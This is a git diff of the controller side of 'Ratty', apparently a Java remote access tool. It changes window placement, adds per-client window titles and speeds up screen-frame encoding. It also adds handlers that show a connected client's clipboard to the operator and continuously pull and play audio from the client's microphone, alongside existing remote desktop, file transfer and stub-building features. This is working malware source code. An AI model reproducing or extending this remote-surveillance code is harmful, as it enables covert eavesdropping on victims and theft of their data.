diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTree.java b/Ratty/src/de/sogomn/rat/server/gui/FileTree.java
index be0fcd2..50b43b8 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/FileTree.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/FileTree.java
@@ -94,7 +94,7 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
 		frame.setPreferredSize(DEFAULT_SIZE);
 		frame.setContentPane(scrollPane);
 		frame.pack();
-		frame.setLocationByPlatform(true);
+		frame.setLocationRelativeTo(null);
 	}
 	
 	private void addMenuItem(final String name, final Icon icon) {
diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
index 4824e34..f4b3e69 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
@@ -126,7 +126,7 @@ public final class RattyGui extends AbstractListenerContainer<IGuiController> {
 		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
 		frame.setPreferredSize(SIZE);
 		frame.pack();
-		frame.setLocationByPlatform(true);
+		frame.setLocationRelativeTo(null);
 		frame.setIconImages(GUI_ICONS);
 		frame.setVisible(true);
 		frame.requestFocus();
diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
index 0f8caac..9c7a4b0 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
@@ -5,6 +5,7 @@ import java.io.File;
 import java.util.HashMap;
 import java.util.Set;
 
+import de.sogomn.engine.fx.Sound;
 import de.sogomn.rat.ActiveConnection;
 import de.sogomn.rat.builder.StubBuilder;
 import de.sogomn.rat.packet.AudioPacket;
@@ -218,8 +219,6 @@ public final class RattyGuiController extends AbstractRattyController implements
 			packet = new DesktopPacket(true);
 		} else if (command == RattyGui.AUDIO) {
 			packet = createAudioPacket();
-		} else if (command == RattyGui.VOICE) {
-			packet = new VoicePacket();
 		} else if (command == FileTree.DOWNLOAD) {
 			packet = createDownloadPacket(client);
 		} else if (command == FileTree.UPLOAD) {
@@ -234,6 +233,8 @@ public final class RattyGuiController extends AbstractRattyController implements
 			packet = client.displayPanel.getLastMouseEventPacket();
 		} else if (command == DisplayPanel.KEY_EVENT && client.isStreamingDesktop()) {
 			packet = client.displayPanel.getLastKeyEventPacket();
+		} else if (command == RattyGui.VOICE && !client.isStreamingVoice()) {
+			packet = new VoicePacket();
 		}
 		
 		return packet;
@@ -273,6 +274,24 @@ public final class RattyGuiController extends AbstractRattyController implements
 		client.displayPanel.showFrames(frames, screenWidth, screenHeight);
 	}
 	
+	private void handleClipboardPacket(final ClipboardPacket packet) {
+		final String message = packet.getClipbordContent();
+		
+		gui.showMessage(message);
+	}
+	
+	private void handleVoicePacket(final ServerClient client, final VoicePacket packet) {
+		if (!client.isStreamingVoice()) {
+			return;
+		}
+		
+		final Sound sound = packet.getSound();
+		final VoicePacket request = new VoicePacket();
+		
+		client.connection.addPacket(request);
+		sound.play();
+	}
+	
 	private boolean handlePacket(final ServerClient client, final IPacket packet) {
 		final Class<? extends IPacket> clazz = packet.getClass();
 		
@@ -290,6 +309,14 @@ public final class RattyGuiController extends AbstractRattyController implements
 			final DesktopPacket desktop = (DesktopPacket)packet;
 			
 			handleDesktopPacket(client, desktop);
+		} else if (clazz == ClipboardPacket.class) {
+			final ClipboardPacket clipboard = (ClipboardPacket)packet;
+			
+			handleClipboardPacket(clipboard);
+		} else if (clazz == VoicePacket.class) {
+			final VoicePacket voice = (VoicePacket)packet;
+			
+			handleVoicePacket(client, voice);
 		} else {
 			consumed = false;
 		}
diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
index 854911b..190e173 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
@@ -25,6 +25,11 @@ final class ServerClient {
 		this.os = os;
 		this.version = version;
 		
+		final String title = name + " " + getAddress();
+		
+		displayPanel.setTitle(title);
+		fileTree.setTitle(title);
+		
 		loggedIn = true;
 	}
 	
diff --git a/Ratty/src/de/sogomn/rat/util/FrameEncoder.java b/Ratty/src/de/sogomn/rat/util/FrameEncoder.java
index d95c331..bcaf507 100644
--- a/Ratty/src/de/sogomn/rat/util/FrameEncoder.java
+++ b/Ratty/src/de/sogomn/rat/util/FrameEncoder.java
@@ -18,6 +18,8 @@ import de.sogomn.engine.util.ImageUtils;
 
 public final class FrameEncoder {
 	
+	private static final int SKIP = 3;
+	
 	private static final int CELLS_WIDE = 5;
 	private static final int CELLS_HIGH = 5;
 	private static final IFrame[] EMPTY_ARRAY = new IFrame[0];
@@ -89,8 +91,8 @@ public final class FrameEncoder {
 				final int cellEndY = cellY + cellHeight;
 				
 				outer:
-				for (int xx = cellX; xx < cellEndX && xx < width; xx++) {
-					for (int yy = cellY; yy < cellEndY && yy < height; yy++) {
+				for (int xx = cellX; xx < cellEndX && xx < width; xx += SKIP) {
+					for (int yy = cellY; yy < cellEndY && yy < height; yy += SKIP) {
 						final int previousRgb = previous.getRGB(xx, yy);
 						final int nextRgb = next.getRGB(xx, yy);